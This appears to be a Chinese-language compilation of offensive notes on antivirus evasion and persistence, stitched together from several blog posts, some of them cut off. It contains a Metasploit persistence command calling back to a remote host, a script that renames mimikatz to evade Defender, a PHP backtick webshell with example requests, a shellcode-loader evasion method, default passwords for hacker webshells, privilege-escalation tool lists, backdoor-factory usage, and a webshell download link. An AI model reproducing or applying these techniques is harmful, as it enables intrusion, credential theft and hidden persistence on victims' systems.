免杀

之前讲了次课准备的，ppt就不放了，当时的思路搬运过来 --- 需要思考的几个问题 1 返回路径 (网络出口,网络之间) 2 部署方式及免杀 (个人电脑,服务器,杀软) 3 痕迹清理 web相关 1 webshell attrib +s +h test.php 隐藏test.php文件 attrib命令 用于修改文件属性 +s 设置系统文件属性 +h 设置隐藏属性 .user.ini auto_append_file = 1.gif user_ini.cache_ttl = 10 auto_append_file 包含要执行的文件 user_ini.cache_ttl 重新读取用户 INI 文件的间隔时间 2 代码修改 windows 1 程序替换 shift后门 替换不常用服务程序 对于开源软件,重新编译目标使用的程序,比如notepad++,mysql 程序内插入shellcode shellter 2 rid hijack(账户克隆) 3 注册表映像劫持 Gflags.exe 4 自启动 HKCU\Software\Microsoft\Windows\CurrentVersion\Run msf persistence run persistence -X -i 5 -p 4445 -r 1.1.1.1 缺点：容易被杀软发现 优点：种植容易 注册表路径: HKCU

其实现在的杀软还是玩的老一套，改改特征字符就能过了，最新的defender能用这个方法过 git clone https://github.com/gentilkiwi/mimikatz.git lmmg mv lmmg/mimikatz lmmg/lmmg find lmmg/ -type f -name '*mimikatz*' | while read FILE ; do newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')"; mv "${FILE}" "${newfile}"; done find lmmg/ -type f -name '*kiwi*' | while read FILE ; do newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')"; mv "${FILE}" "${newfile}"; done find lmmg/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g' find lmmg/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g' find lmmg/ -type f -print0 | xargs -0

0x001 原理 采用分离法，即将ShellCode和加载器分离。方法较LOW但免杀。 本文主要将ShellCode转成HEX，再通过加载器执行ShellCode。 PS: 何为SC加载器，即专门用于加载所提供ShellCode的工具。 如同HTTP发包工具，支持提交HTTP，写死参数最多只能叫EXP。 再详细点，打个比方，你只会炒一个菜，你敢说你是厨师吗？ 0x002 ShellCode免杀 CS可生成很多种格式的ShellCode，具体该用哪一种呢？ 由于部分杀软会查杀ShellCode文件，所以不能直接使用RAW。 其实不用测都知道HEX字串肯定比RAW或标准C格式安全。 因为RAW和标准C格式一直以来都比较常用，被杀一点都不奇怪。 当然实际上使用任意格式都可以，前提是需要加解密。 下面我们拿CS3.13的ShellCode来做个对比，结果如下 CS生成Raw格式的ShellCode被7个杀软查杀(payload.bin) http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635 将CS的ShellCode转成Hex无一杀软查杀(hex.txt) http://r.virscan.org/language/zh-cn/report

各位同学 对 一句话木马 我写了第5篇了，没有绝对的安全 我们在完善中！啊哈哈 这段代码 可以被利用做后门 暂时免杀。 代码： <?php //t.php $test = $_GET['r']; echo `$test`; ?> 大家看看这个代码有木有问题？我想大家都会说没有问题，但是细心的朋友也会发现下面的变量被一个符号包起来了，既然是变量为什么要这样了，而且又不 是单引号，这个就是关键所在了，这个符号是 Esc 下面的一个键 感叹号！旁边的，通过 echo 系统命令; 可以达到 system(); 一样的效果 如果不信的朋友可以测试 http://127.0.0.1/t.php?r=dir 可以列出目录 http://127.0.0.1/t.php?r=echo 我是马儿 >>D:web91ri.org .php 另外一个过常见web防火墙的一句话《将代码换行绕过web保护系统》 文章来源: https://blog.csdn.net/kclax/article/details/92118079

各类黑客大马默认密码后门 通过goole hack 语法 搜索 incontent: xx黑客 留的后门 黑羽基地免杀asp大马 密码5201314 Hacked By CHINA! 密码china Asp站长助手6.0 密码584521 web综合安全评测 - Beta3 密码nohack 未知数X 密码45189946 baidu｝" 密码baidu 路遥知马力 密码123 黑客网站之家 美化版 密码chenxue Thé、End.゛ 密码and QQ：913720787 笑佛天下 密码cnot 西域小刚-站长助手-修改版本 密码xxoxx XXXXX 密码rinima 暗组超强功能修正去后门加强S-U提权版 密码hkk007 黑客官方-长期提供网站入侵,密码破解 数据库入侵 密码chengnuo ASPAdmin_A 密码"5556661221" '123456 火狐ASP木马(超强版)" 密码wrsk 雨夜孤魂 密码54321 Dark Security Team 密码yuemo 随风自由的泪 密码jcksyes 伟大的农民 密码521 mr.con asp小马 密码******* JspX 密码4lert 围剿专版 密码yuemo或者5201314 maek dream 密码hacker Shell 密码xxxxx 靈魂◆安全小组+" 密码10011C120105101

K8工具集 比较全，底部有下载网址。 综合工具 [+] 扫描工具 K8Cscan5.3 大型内网渗透扫描器内置27个功能,支持Cobalt Strike [+] 综合工具 K8飞刀Final.rar [+] K8data.mdb K8飞刀漏洞数据库20190402 [+] K8expList.txt K8飞刀漏洞利用列表 提权工具 [+] 提权工具 CVE-2019-0803.exe Win32k漏洞提权工具 [+] 提权工具 iislpe.exe IIS全版本提权(仅限IIS帐户、服务帐户) [+] 提权工具 pr.exe pr有参版 pr0无参版（巴西烤肉:国内10年所说的PR或IIS6提权） [+] 提权工具 k8uac_20181125[K8].rar 目前还支持全版本WIN7-Win10 [+] 提权工具 bypassUAC_Win7_10[K8team].rar 13还是15年？Win10打补丁失效 [+] 提权工具 bypassUACexe_0419[K8].rar 13年的吧 打补丁的WIN7好像不支持了 [+] 提权工具 Lpk提权_K8.rar DLLHijack [+] 提权工具 Usp10提权_K8.rar DLLHijack [+] 提权工具 MS11-046.exe [+] 提权工具 MS11-080.exe [+] 提权工具 MS14-068

水一水最近玩的工具 弄dll注入的时候用到的 介绍这款老工具 免杀效果一般。。但是简单实用 https://tools.kali.org/exploitation-tools/backdoor-factory https://github.com/secretsquirrel/the-backdoor-factory 0x01 backdoor-factory简介 后门工厂(BDF) BDF的目标是用用户所需的shell代码对可执行二进制文件进行补丁，并继续正常执行预补丁状态。 在渗透测试中，后门程序帮助渗透测试人员在目标机器上执行各种预期的操作。例如，它可以建立从目标主机到攻击机的网络连接，方便渗透测试人员控制目标主机。Kali Linux提供一个后门构建工具Backdoor Factory。该工具支持Windows PE和Linux ELF两种运行机制的可执行文件。 利用该工具，用户可以在不破坏原有可执行文件的功能的前提下，在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后，就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本，还允许嵌入其他工具生成的Shellcode，如Metasploit。 root@kali:~# backdoor-factory __________ __ .___ \______ \_____ ____ | |

链接：https://pan.baidu.com/s/1Lba_ycywdJONHHyNWtPxsQ 提取码：1ml8 文件管理，批量挂马，批量清马，批量替换，扫描木马，系统信息，执行命令，组件接口，扫描端口，搜索文件，ServU提权，MYSQL提权，MYSQL执行，MYSQL管理，多数据库操作，NC反弹，Ftp_Brute，Ftp连接，PHP反弹，Linux反弹，执行PHP代码，弱口令探测，注册表操作，HTTP在线代理，HTTP下载，DDOS攻击，进程 来源： https://www.cnblogs.com/hackhyl/p/11366656.html

通过使用系统的一些服务进程完成Shell反弹，由于系统进程多数具有微软特征，所以自带免杀，杀毒软件都会默认放行 利用Msiexec进程反弹 Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包（MSI）,一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于Windows 7，Windows 10等，在Windows 10系统中无需配置环境变量就能直接被调用，非常的方便。 来源： https://www.cnblogs.com/LyShark/p/11332441.html